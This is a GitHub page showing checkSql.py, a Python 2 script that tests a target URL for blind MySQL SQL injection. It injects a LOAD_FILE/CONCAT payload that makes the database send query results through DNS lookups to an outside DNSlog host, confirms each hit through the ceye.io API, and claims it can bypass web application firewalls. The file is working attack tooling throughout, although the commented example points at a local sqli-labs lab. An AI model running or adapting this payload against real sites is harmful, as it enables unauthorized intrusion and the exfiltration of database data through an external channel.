-
Notifications
You must be signed in to change notification settings - Fork 45
/
Copy pathcheckSql.py
84 lines (60 loc) · 1.81 KB
/
checkSql.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import random
from config import *
import json
import time
from termcolor import *
import sys
'''
Check if target have SqlInjection with dnslog (can bypass waf)
Now just testing MySql
'''
def dnsPaylod(randomcode):
# main payload
# print DNSurl
mainPayload = r"LOAD_FILE(CONCAT('\\\\',(SELECT {md5}),'.{dns}\\abc'))"
return mainPayload.format(md5=randomcode, dns=DNSurl)
def getDnsData(taskname):
try:
APIurl = 'http://api.ceye.io/v1/records?token={token}&type={dns}&filter={filter}'.format(token=APItoken, dns='dns', filter=taskname)
# print APIurl
r = requests.get(APIurl)
data = json.loads(r.text)
# print data
result = data['data'][0]['name'].split('.')[0]
return result
except Exception,e:
# print '[*]Error message:{}'.format(e.message)
return e.message
def randomcode():
return ''.join([random.choice('123456789') for j in range(4)])
def check(url):
print '[*]Checking target: {}\n'.format(url)
patterns = []
for i in patternClose:
for j in patternLink:
pattern = '{} {}'.format(i,j)
patterns.append(pattern)
for i in patterns:
taskcode = randomcode()
payload = '{} {}--+'.format(i,dnsPaylod(taskcode))
# print url+payload
r = requests.get(url+payload, headers=headers, timeout=timeout)
result = getDnsData(taskcode)
if taskcode == result:
target = url+i+' ({})--+'
print '[*]Found SqlInjection!\n\nPayload:{}'.format(colored(url+payload,'red'))
print 'Target :{}'.format(colored(target,'red'))
break
# if __name__ == '__main__':
# start_time = time.strftime("%Y-%m-%d %H:%M:%S")
# banner()
# print '[-]{}\n'.format(start_time)
# try:
# url = 'http://10.211.55.9/sqli-labs/Less-9/?id=1'
# check(url)
# except KeyboardInterrupt:
# print "Ctrl C - Stopping Client"
# sys.exit(1)